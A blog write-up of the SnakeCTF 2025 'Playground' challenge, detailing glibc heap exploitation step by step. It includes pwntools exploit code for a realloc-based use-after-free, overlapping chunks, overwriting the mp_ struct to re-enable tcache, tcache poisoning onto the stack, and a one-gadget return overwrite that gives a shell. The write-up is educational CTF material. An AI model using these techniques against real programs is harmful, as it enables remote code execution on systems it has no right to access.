Skip to content
Y Yametsu
pwn heap

SnakeCTF 2025: Playground — glibc heap exploitation

A heap exploitation write-up using realloc behavior, overlapping chunks, and the IS_MMAPPED flag to bypass allocator checks.

Y

Yametsu

2 min read
The official SnakeCTF snake emblem beside a blue digital maze leading to a red flag.

Playground

Introduction

This challenge appeared in SnakeCTF 2025. My solution differs from the intended one: it uses the behavior of realloc when it has to move and copy a chunk. The challenge was a good exercise in combining several heap exploitation techniques.

The full exploit is available on GitHub.

The challenge directory is named old_school; the binary is named playground.

Challenge description

The challenge allows up to 32 chunks, each no larger than 0x68 bytes, and disables stdio buffering. It runs with a custom environment:

ENV ENV_GLIBC_TUNABLES=glibc.malloc.mmap_max=0:glibc.malloc.tcache_count=0:glibc.malloc.tcache_max=0

This disables tcache, so small freed chunks go directly into fast bins. The challenge also allows chunks to be freed, edited, printed, and resized. Printing calls puts(chunk_address), while resizing calls realloc(chunk_address, new_size). Chunk state is stored in a chunk_t struct:

typedef struct {
    void *allocated_chunk;

    size_t allocated:1;
    size_t allocated_size:31;
    size_t requested_size:32;
} __attribute__((packed)) chunk_t;

Before any operation other than malloc, the program performs this check:

#define INVALID_SIZE(idx) (malloc_usable_size(chunks[idx].allocated_chunk) != chunks[idx].allocated_size || chunks[idx].requested_size > chunks[idx].allocated_size)

...

if (INVALID_SIZE(chunk)){
    panic("invalid chunk size detected");
}

Here, panic prints an error and calls exit().

The challenge also checks whether a chunk is allocated by reading chunk.allocated.

For every operation other than malloc, the challenge asks for a chunk index. The index is read from stdin using get_uint("index > ") % 32:

size_t get_uint(const char *prompt) {
    size_t value = -1;
    printf("%s", prompt);
    scanf(" %zu%*c", &value);
    return value;
}

This keeps the selected index within the valid range of 0 through 31.

Heap leak

A heap leak is straightforward. The challenge does not clear a chunk after it is allocated, so we can allocate from fast bins and print the stored next_ptr. To bypass safe-linking, we leave a single chunk in the fast bin. Its next pointer is 0x0 ^ (heap_addr << 12), which is enough to derive the addresses of later chunks.

malloc(SIZE)
free(0)
malloc(SIZE)
secret = puts(0)
secret = int.from_bytes(secret, "little")
print(f"secret: {hex(secret)}")

UAF (use after free)

To get a UAF, we use the behavior of realloc. Passing 0 frees the chunk and returns NULL. The program checks whether realloc failed, but that check is not sufficient:

chunks[index].requested_size = new_size;

    void *new_chunk = realloc(chunks[index].allocated_chunk, chunks[index].requested_size);

    if (new_chunk == NULL) {
        puts("reallocation failed");
        return;
    }

The program reports reallocation failed, but the chunk has already been freed, giving us a UAF primitive.

To write to it, we need to expand its size again because the challenge checks the size stored in its metadata before writing. We can call resize a second time: when the new size is <= old_size, resize returns the same pointer without calling malloc. The old size comes from chunk metadata that we have not changed.

realloc(chunk, 0x0)
realloc(chunk, SIZE)

Libc leak

To leak a libc address, we want to put a chunk in the unsorted bin and print its main-arena pointer. Allocations are limited to 0x68 bytes, which is not enough to avoid the fast bins, so we need to free a larger chunk. We can poison the size header of an existing chunk, then use the UAF to create overlapping allocations by poisoning fast-bin metadata. However, using the spoofed chunk directly makes the program crash at the INVALID_SIZE(chunk) check.

We need to call free without triggering INVALID_SIZE. We can use realloc again: if the requested size cannot be satisfied by expanding into the top chunk, realloc allocates a new chunk, copies the old contents, and frees the old chunk.

We can exploit this by creating two overlapping chunks. We place one chunk at the head of the fast bin, then resize the other. When realloc calls malloc, it returns the overlapping chunk; the subsequent copy can overwrite the old chunk’s size just before realloc frees it. Giving it a valid size greater than 0x80 sends it to the unsorted bin, where we can leak a libc address.

malloc(ATTACKER_CHUNK_SIZE)  # This chunk will be used to overwrite metadata of the next chunk
malloc(TARGET_CHUNK_SIZE)    # This chunk's metadata will be poisoned
malloc(0x30)                 # Guard to avoid breaking top chunk
malloc(0x20)                 # Guard to avoid consolidation

# Creating a fake chunk overlapping the target chunk
payload = b"A" * 0x30 + p64(0x0) + p64(chunk_size(ATTACKER_CHUNK_SIZE) + 0x1) + p64(secret)
edit(0, payload)

# Exploit resize to get a UAF primitive
resize(0, 0x0)
resize(0, ATTACKER_CHUNK_SIZE)

# Poison fast bins to put the fake chunk in them
payload = p64(secret ^ (target_chunk_address - 0x30))
edit(0, payload)

# Put the fake chunk on top of the fast bins
malloc(ATTACKER_CHUNK_SIZE)

# This payload is copied into the fake chunk during resize
payload = b"B" * 0x10 + p64(0x0) + p64(0x91)
edit(1, payload)

# Use realloc's malloc-copy-free path to free a chunk larger than 0x80 into the unsorted bin
resize(1, ATTACKER_CHUNK_SIZE)

# Leak libc
malloc(0x40)
leak = puts(5)
leak = int.from_bytes(leak, "little")
libc_base = leak - LIBC_ARENA_OFFSET

Reactivating tcache

Now we want to reactivate tcache to gain arbitrary allocation. The goal is to overwrite the mp_ struct.

struct mp_{
  trim_threshold = 0x20000,
  top_pad = 0x20000,
  mmap_threshold = 0x20000,
  arena_test = 0x8,
  arena_max = 0x0,
  thp_pagesize = 0x0,
  hp_pagesize = 0x0,
  hp_flags = 0x0,
  n_mmaps = 0x0,
  n_mmaps_max = 0x0,
  max_n_mmaps = 0x0,
  no_dyn_threshold = 0x1,
  mmapped_mem = 0x0,
  max_mmapped_mem = 0x0,
  sbrk_base = 0x0,
  tcache_small_bins = 0x1,
  tcache_max_bytes = 0x20,
  tcache_count = 0x0,
  tcache_unsorted_limit = 0x0
};

First, we need a 16-byte-aligned address in libc whose contents can be interpreted as a valid fast-bin chunk size. That lets us allocate in this region. To find candidate values, we can use the GEF scan command. At offset 0x1e8008, we find the value 0x22, close to the mp_ struct, with the IS_MMAPPED flag set.

The IS_MMAPPED flag helps bypass the INVALID_SIZE check, which calls malloc_usable_size. For a non-mapped chunk, the internal musable function checks the next chunk’s PREV_INUSE bit and may return 0 if it is clear. For a mapped chunk, malloc_usable_size returns chunk_size - 0x10 without that check.

Now we can allocate in this region and then create a fake chunk by writing in the libc memory we just allocated. Then we can allocate in the fake chunk we just created. Iterating this process we can walk through the libc and reach the mp_ struct.

def fast_bin_poison(mangled_target, size):
    malloc(size)
    malloc(size)
    malloc(size)
    resize(8, 0)
    resize(8, size)
    payload = p64(mangled_target)
    edit(8, payload)

    malloc(size)
    malloc(size)

    free(8)
    free(9)
    free(11)
    free(10)

# Start walking in the libc creating faking chunk and allocating them
fast_bin_poison(secret ^ nd, 0x20)
nd = nd + 0x10
payload = p64(0x0) + p64(0x72) + p64(libc_secret)
edit(12, payload)
print(f"ND: {hex(nd)}")

# Iterate the walk
for i in range(13, 17):
    fast_bin_poison(secret ^ nd, SIZE_PASSO)
    nd = nd + SIZE_PASSO - 0x10
    payload = p64(0x71) * ((SIZE_PASSO - 0x20)//8) + p64(0x0) + p64((SIZE_PASSO + 0x10) | 0b10) + p64(libc_secret)
    edit(i, payload)

# Now we reach the mp_ struct
fast_bin_poison(secret ^ nd, SIZE_PASSO)

(nd is a variable I used to trace my position in the libc, so it contains the address of the base of the next fake chunk)

The mp_ struct is bigger than 0x68 so we have to split in half our payload and write a fake chunk size inside the mp_ without breaking it too much. I choose to write the fake size in the no_dyn_threshold field.

poisoned_mp_ = mp_()
poisoned_mp_.mp_["trim_threshold"] = 0x20000
poisoned_mp_.mp_["top_pad"] = 0x20000
poisoned_mp_.mp_["mmap_threshold"] = 0x20000
poisoned_mp_.mp_["arena_test"] = 0x8
poisoned_mp_.mp_["no_dyn_threshold"] = 0x72
poisoned_mp_.mp_["sbrk_base"] = secret << 12
poisoned_mp_.mp_["tcache_small_bins"] = 0x1
poisoned_mp_.mp_["tcache_max_bytes"] = 0x410
poisoned_mp_.mp_["tcache_count"] = 0x7

mp_digest = poisoned_mp_.digest()

# Walking inside the mp_ struct without breaking it too much
payload = p64(0x0) * 2 + mp_digest[:0x50]
edit(17, payload[:-1])

fast_bin_poison(secret ^ nd, SIZE_PASSO)

# Reactivating tcache
payload = mp_digest[0x50:0x80]
edit(18, payload)

I included p64(0x0) * 2 because my allocation began two qwords above the mp_ struct.

Tcache poisoning

With tcache poisoning, we can leak argv and obtain a stack address. We can then allocate on the stack, overwrite the chunks variable, and redirect it to a fake chunk_t struct created in a normal heap allocation.

We can point the fake struct at a stack frame that has no canary. I chose get_uint.

# Allocating where the chunks variable is stored to overwrite it
free(8)
malloc(0x38)
malloc(0x38)
free(8)
resize(11, 0)
resize(11, 0x38)
payload = p64(secret ^ (rbp - 0x10))
edit(11, payload)
malloc(0x38)
malloc(0x38)

# Creating a fake chunk_t struct to write over the return address of chunk_edit
fake_struct_address = (secret << 12) | 0x010
print(f"Fake struct: {hex(fake_struct_address)}")
malloc(0x50)
payload = flat(
    0x0,
    0x0,
    0x0,
    0x0,
    chunk_edit_stack + 0x8,
    (0x630 << 32) | (0x630 << 1) | 0x1,
    fake_struct_address,
    (0x50 << 32) | (0x60 << 1) | 0x1
)
edit(20, payload)

# Overwriting the struct address with the fake one
edit(19, p64(fake_struct_address))

RCE

Now we have an allocation in get_uint’s stack frame. We position it so the chunk size overlaps the value variable. When the function asks for the chunk index, our input then controls the chunk size. I chose a size of 0x640; the struct stores the usable size, which is 0x10 bytes smaller. The index is therefore 0x642 % 32 = 2: 0x642 includes the IS_MMAPPED flag needed to bypass INVALID_SIZE. We can call edit with index 1602 to write above the current function’s stack frame, which has no canary. To get a shell, I overwrite the return address with a one-gadget.

one_gadget

(This one-gadget is unusually powerful; I was surprised to find it in the latest libc version.)

# Overwrite the return address to call one_gadget
payload = flat(
    b"A" * 0x10,
    libc_base + ONE_GADGET_OFFSET
)
p.sendline(b"e")
p.recvuntil(b"> ")
p.sendline(str(1602).encode())
p.recvuntil(b"> ")
p.sendline(payload)

p.interactive()
Share:

Follow new write-ups

Follow new research notes and technical articles through the RSS feed.